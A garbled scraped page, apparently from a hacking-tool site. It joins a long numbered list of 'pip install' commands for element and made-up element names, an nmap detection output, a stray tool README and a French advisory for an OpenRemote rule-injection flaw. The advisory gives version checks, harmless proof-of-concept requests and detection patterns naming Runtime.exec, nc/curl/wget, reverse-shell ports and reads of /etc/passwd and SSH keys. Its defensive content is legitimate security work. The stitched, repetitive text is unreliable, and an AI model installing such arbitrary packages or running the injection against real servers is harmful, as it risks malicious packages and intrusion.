$ pip install plutonium

280. 安装 americium

root@kitploit:~
$ pip install americium

281. 安装 curium

root@kitploit:~
$ pip install curium

282. 安装 berkelium

root@kitploit:~
$ pip install berkelium

283. 安装 californium

root@kitploit:~
$ pip install californium

284. 安装 einsteinium

root@kitploit:~
$ pip install einsteinium

285. 安装 fermium

root@kitploit:~
$ pip install fermium

286. 安装 mendelevium

root@kitploit:~
$ pip install mendelevium

287. 安装 nobelium

root@kitploit:~
$ pip install nobelium

288. 安装 lawrencium

root@kitploit:~
$ pip install lawrencium

289. 安装 rutherfordium

root@kitploit:~
$ pip install rutherfordium

290. 安装 dubnium

root@kitploit:~
$ pip install dubnium

291. 安装 seaborgium

root@kitploit:~
$ pip install seaborgium

292. 安装 bohrium

root@kitploit:~
$ pip install bohrium

293. 安装 hassium

root@kitploit:~
$ pip install hassium

294. 安装 meitnerium

root@kitploit:~
$ pip install meitnerium

295. 安装 darmstadtium

root@kitploit:~
$ pip install darmstadtium

296. 安装 roentgenium

root@kitploit:~
$ pip install roentgenium

297. 安装 copernicium

root@kitploit:~
$ pip install copernicium

298. 安装 nihonium

root@kitploit:~
$ pip install nihonium

299. 安装 flerovium

root@kitploit:~
$ pip install flerovium

300. 安装 moscovium

root@kitploit:~
$ pip install moscovium

301. 安装 livermorium

root@kitploit:~
$ pip install livermorium

302. 安装 tennessine

root@kitploit:~
$ pip install tennessine

303. 安装 oganesson

root@kitploit:~
$ pip install oganesson

304. 安装 ununoctium

root@kitploit:~
$ pip install ununoctium

305. 安装 ununpentium

root@kitploit:~
$ pip install ununpentium

306. 安装 ununtrium

root@kitploit:~
$ pip install ununtrium

307. 安装 ununbium

root@kitploit:~
$ pip install ununbium

308. 安装 ununennium

root@kitploit:~
$ pip install ununennium

309. 安装 unbinilium

root@kitploit:~
$ pip install unbinilium

310. 安装 unbiunium

root@kitploit:~
$ pip install unbiunium

311. 安装 unbibium

root@kitploit:~
$ pip install unbibium

312. 安装 unbitrium

root@kitploit:~
$ pip install unbitrium

313. 安装 unbiquadium

root@kitploit:~
$ pip install unbiquadium

314. 安装 unbipentium

root@kitploit:~
$ pip install unbipentium

315. 安装 unbihexium

root@kitploit:~
$ pip install unbihexium

316. 安装 unbiseptium

root@kitploit:~
$ pip install unbiseptium

317. 安装 unbioctium

root@kitploit:~
$ pip install unbioctium

318. 安装 unbiennium

root@kitploit:~
$ pip install unbiennium

319. 安装 untriennium

root@kitploit:~
$ pip install untriennium

320. 安装 untriunium

root@kitploit:~
$ pip install untriunium

321. 安装 untribium

root@kitploit:~
$ pip install untribium

322. 安装 untritrium

root@kitploit:~
$ pip install untritrium

323. 安装 untriquadium

root@kitploit:~
$ pip install untriquadium

324. 安装 untripentium

root@kitploit:~
$ pip install untripentium

325. 安装 untrihexium

root@kitploit:~
$ pip install untrihexium

326. 安装 untriseptium

root@kitploit:~
$ pip install untriseptium

327. 安装 untrioctium

root@kitploit:~
$ pip install untrioctium

328. 安装 untriennium

root@kitploit:~
$ pip install untriennium

329. 安装 unquadennium

root@kitploit:~
$ pip install unquadennium

330. 安装 unquadunium

root@kitploit:~
$ pip install unquadunium

331. 安装 unquadbium

root@kitploit:~
$ pip install unquadbium

332. 安装 unquadtrium

root@kitploit:~
$ pip install unquadtrium

333. 安装 unquadquadium

root@kitploit:~
$ pip install unquadquadium

334. 安装 unquadpentium

root@kitploit:~
$ pip install unquadpentium

335. 安装 unquadhexium

root@kitploit:~
$ pip install unquadhexium

336. 安装 unquadseptium

root@kitploit:~
$ pip install unquadseptium

337. 安装 unquadoctium

root@kitploit:~
$ pip install unquadoctium

338. 安装 unquadennium

root@kitploit:~
$ pip install unquadennium

339. 安装 unpentennium

root@kitploit:~
$ pip install unpentennium

340. 安装 unpentunium

root@kitploit:~
$ pip install unpentunium

341. 安装 unpentbium

root@kitploit:~
$ pip install unpentbium

342. 安装 unpenttrium

root@kitploit:~
$ pip install unpenttrium

343. 安装 unpentquadium

root@kitploit:~
$ pip install unpentquadium

344. 安装 unpentpentium

root@kitploit:~
$ pip install unpentpentium

345. 安装 unpenthexium

root@kitploit:~
$ pip install unpenthexium

346. 安装 unpentseptium

root@kitploit:~
$ pip install unpentseptium

347. 安装 unpentoctium

root@kitploit:~
$ pip install unpentoctium

348. 安装 unpentennium

root@kitploit:~
$ pip install unpentennium

349. 安装 unhexennium

root@kitploit:~
$ pip install unhexennium

350. 安装 unhexunium

root@kitploit:~
$ pip install unhexunium

351. 安装 unhexbium

root@kitploit:~
$ pip install unhexbium

352. 安装 unhextrium

root@kitploit:~
$ pip install unhextrium

353. 安装 unhexquadium

root@kitploit:~
$ pip install unhexquadium

354. 安装 unhexpentium

root@kitploit:~
$ pip install unhexpentium

355. 安装 unhexhexium

root@kitploit:~
$ pip install unhexhexium

356. 安装 unhexseptium

root@kitploit:~
$ pip install unhexseptium

357. 安装 unhexoctium

root@kitploit:~
$ pip install unhexoctium

358. 安装 unhexennium

root@kitploit:~
$ pip install unhexennium

359. 安装 unseptennium

root@kitploit:~
$ pip install unseptennium

360. 安装 unseptunium

root@kitploit:~
$ pip install unseptunium

361. 安装 unseptbium

root@kitploit:~
$ pip install unseptbium

362. 安装 unsepttrium

root@kitploit:~
$ pip install unsepttrium

363. 安装 unseptquadium

root@kitploit:~
$ pip install unseptquadium

364. 安装 unseptpentium

root@kitploit:~
$ pip install unseptpentium

365. 安装 unsepthexium

root@kitploit:~
$ pip install unsepthexium

366. 安装 unseptseptium

root@kitploit:~
$ pip install unseptseptium

367. 安装 unseptoctium

root@kitploit:~
$ pip install unseptoctium

368. 安装 unseptennium

root@kitploit:~
$ pip install unseptennium

369. 安装 unoctennium

root@kitploit:~
$ pip install unoctennium

370. 安装 unoctunium

root@kitploit:~
$ pip install unoctunium

371. 安装 unoctbium

root@kitploit:~
$ pip install unoctbium

372. 安装 unocttrium

root@kitploit:~
$ pip install unocttrium

373. 安装 unoctquadium

root@kitploit:~
$ pip install unoctquadium

374. 安装 unoctpentium

root@kitploit:~
$ pip install unoctpentium

375. 安装 unocthexium

root@kitploit:~
$ pip install unocthexium

376. 安装 unoctseptium

root@kitploit:~
$ pip install unoctseptium

377. 安装 unoctoctium

root@kitploit:~
$ pip install unoctoctium

378. 安装 unoctennium

root@kitploit:~
$ pip install unoctennium

379. 安装 unennium

root@kitploit:~
$ pip install unennium

380. 安装 ununennium

root@kitploit:~
$ pip install ununennium

381. 安装 unbinilium

root@kitploit:~
$ pip install unbinilium

382. 安装 unbiunium

root@kitploit:~
$ pip install unbiunium

383. 安装 unbibium

root@kitploit:~
$ pip install unbibium

384. 安装 unbitrium

root@kitploit:~
$ pip install unbitrium

385. 安装 unbiquadium

root@kitploit:~
$ pip install unbiquadium

###``` Nmap scan report for 192.168.1.100 Host is up (0.0042s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.21.0 | Vulnerable: YES | CVE: CVE-2026-39842 |_ CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101 Host is up (0.0031s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.22.1 | Vulnerable: NO | Fixed Version: 1.22.0 |_ Status: Patched

root@kitploit:~
#### Exemple : Scan verbeux```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100

Sortie verbeuse attendue :``` | openremote-detect: | Host: 192.168.1.100:8080 | Detection Method: HTTP Banner Analysis | Probe Endpoint: /api/info | Response Code: 200 | Version: 1.21.0 | Version Detected: YES | Vulnerable: YES | CVE-2026-39842: AFFECTED | CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | CVSS Score: 10.0 | Fix Available: YES | Fixed Version: 1.22.0 | Authentication Required: YES | Endpoint Vulnerable: POST /api/{realm}/rules/realm |_ Endpoint Vulnerable: POST /api/{realm}/rules/asset

root@kitploit:~
### Vérification manuelle

Effectuez des vérifications manuelles à l'aide de curl pour confirmer la vulnérabilité :

**1. Identifier la version d'OpenRemote**```bash
curl -s http://target:8080/api/info | jq .
root@kitploit:~
## Installation

To install the tool, run the following command:

```bash
pip install kitploit-tool

Usage

After installation, you can use the tool from the command line:

root@kitploit:~
kitploit-tool --help

Features

  • Fast scanning: Utilizes multi-threading for rapid analysis.
  • Comprehensive reports: Generates detailed Markdown reports.
  • Customizable: Supports configuration files for tailored scans.

License

This project is licensed under the MIT License - see the LICENSE file for details.

root@kitploit:~
{
  "version": "1.21.0",
  "name": "OpenRemote",
  "instanceId": "instance-123"
}
```
**2. Vérifier le point de terminaison des règles**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20
```
Si retourne 401 ou 403, le point de terminaison existe mais nécessite une authentification.

**3. S'authentifier et tester l'injection d'expression**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "test_rule",
    "trigger": "timer",
    "ruleExpression": "1 + 1"
  }' \
  http://target:8080/api/master/rules/realm
```
Si la création réussit et que la version est <= 1.21.0, l'instance est vulnérable.

**4. Tester l'exécution de JavaScript (Preuve de concept)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm
```
**5. Identifier le nom du domaine**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/admin/realms | jq .[].name
```
Common realm names: `master`, `default`, `main`

---

## Indicateurs de compromission

### Indicateurs de journalisation

Recherchez ces motifs dans les journaux d'application :

**Création de règle avec charge utile JavaScript**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**Tentatives d'exécution de commandes dans les règles**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**Exécution inattendue de processus depuis Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**Anomalies d'accès au système de fichiers**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**Modèles d'accès à la base de données**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### Indicateurs réseau

**Connexions sortantes depuis le processus OpenRemote**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**Rappels de Shell Inversé**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**Tentatives de mouvement latéral**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### Indicateurs du système de fichiers

**Fichiers suspects dans le répertoire OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**Binaires OpenRemote modifiés**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**Tâches Cron ou de persistance**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### Indicateurs de mémoire et de processus

**Variables d'environnement suspectes**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**Charge utile résidente en mémoire**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
---

## Remédiation

### ACTIONS IMMÉDIATES (0-24 heures)

**1. Mise à niveau vers la version corrigée**

Le correctif complet n'est disponible que dans OpenRemote 1.22.0+, qui supprime entièrement le moteur de règles JavaScript.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote

# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. Restreindre l'accès à l'API**

Si une mise à niveau immédiate n'est pas possible, restreignez l'accès aux points de terminaison vulnérables au niveau du pare-feu/proxy inverse :```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}
```
**3. Auditer les règles actives**

Listez toutes les règles existantes et examinez-les à la recherche de JavaScript suspect :```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm | \
  jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Supprimez toutes les règles contenant l'interopérabilité Java :```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Examiner les journaux d'accès**

Vérifiez les tentatives d'exploitation au cours des 30 derniers jours :```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
  grep -i "java\|runtime\|exec\|type"
```
**5. Rotation des identifiants**

Faites pivoter tous les identifiants potentiellement exposés :```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### ACTIONS À COURT TERME (1 à 7 jours)

**1. Segmentation du réseau**

Restreindre l'accès à l'API OpenRemote aux réseaux autorisés uniquement :```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Audits de rôles**

Examinez et réduisez le nombre d'utilisateurs disposant du rôle `write:rules` :```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'
```
Remove `write:rules` role from all non-essential users.

**3. Enable Request Logging**

Configure detailed logging for all API requests:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Audit de la base de données**

Rechercher dans la base de données les règles malveillantes créées après une date spécifique :```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);
```
**5. Chasse aux menaces**

Exécutez des analyses de sécurité complètes sur le serveur OpenRemote :```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/

# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings

# File integrity verification
aide --check
```
### ACTIONS À LONG TERME (7-30 jours)

**1. Durcissement complet du système**

- Exécuter OpenRemote dans un conteneur avec des privilèges restreints (non-root)
- Implémenter des politiques SELinux ou AppArmor
- Utiliser des systèmes de fichiers en lecture seule lorsque c'est possible
- Activer la journalisation d'audit au niveau système

**2. Mise en œuvre du contrôle d'accès**

- Implémenter l'authentification multifacteur pour les utilisateurs administrateurs
- Utiliser OAuth2/OIDC pour l'accès à l'API au lieu de l'authentification par jeton
- Implémenter le principe du moindre privilège pour tous les rôles
- Examens et certifications d'accès réguliers

**3. Sécurité applicative**

- Implémenter des règles de pare-feu applicatif web (WAF) pour le moteur de règles
- Activer la limitation du débit des requêtes sur les points de terminaison sensibles
- Implémenter des limites de taille des requêtes
- Valider strictement toutes les entrées utilisateur

**4. Surveillance et alertes**

Déployer les règles de détection SIEM :```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Plan de réponse aux incidents**

Créez et testez des procédures de réponse aux incidents :

- Étapes d'isolation pour les instances OpenRemote compromises
- Procédures de collecte de preuves numériques
- Procédures de notification des clients concernés
- Procédures de récupération et de nettoyage
- Revues post-incident

**6. Surveillance continue**

Mettez en œuvre une surveillance de sécurité continue :```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
  $(cat /etc/openremote/monitored_hosts.txt) \
  --script-args 'onerror=continue' \
  -oX /var/log/openremote-scan.xml

# Automated alerts for vulnerable versions
if version <= 1.21.0; then
    send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---

## Références

- **Avis officiel** : https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Enregistrement CVE** : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Entrée NVD** : https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Dépôt OpenRemote** : https://github.com/openremote/openremote
- **Sécurité OpenRemote** : https://openremote.io/security
- **CWE-94 Injection de code** : https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 Injection EL** : https://cwe.mitre.org/data/definitions/917.html
- **Calculateur CVSS** : https://www.first.org/cvss/calculator/3.1
- **Sécurité Nashorn** : https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager** : https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## Auteur

**Kerem Oruc**

Chercheur en sécurité, divulgation de vulnérabilités

Pour toute question, rapport ou information supplémentaire concernant cette vulnérabilité, veuillez contacter l'auteur via les canaux de divulgation responsable.

---

**Dernière mise à jour** : 2026-04-16
**Version** : 1.0
**Statut** : Public
Télécharger l’outil
AspectDétails
ID CVECVE-2026-39842
ID GHSAGHSA-7mqr-33rv-p3mp
Type de vulnérabilitéInjection de code / Injection de langage d'expression
Score CVSS10.0 (Critique)
CWECWE-94, CWE-917
ProduitOpenRemote
Versions concernées<= 1.21.0
Version corrigée>= 1.22.0
Authentification requiseOui
Niveau de privilège requisRôle write:rules (non-superutilisateur)
Points de terminaison vulnérablesPOST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset
Niveau d'exécution RCEroot
ExploitabilitéÉlevée
ComplexitéFaible
Date de découverte2026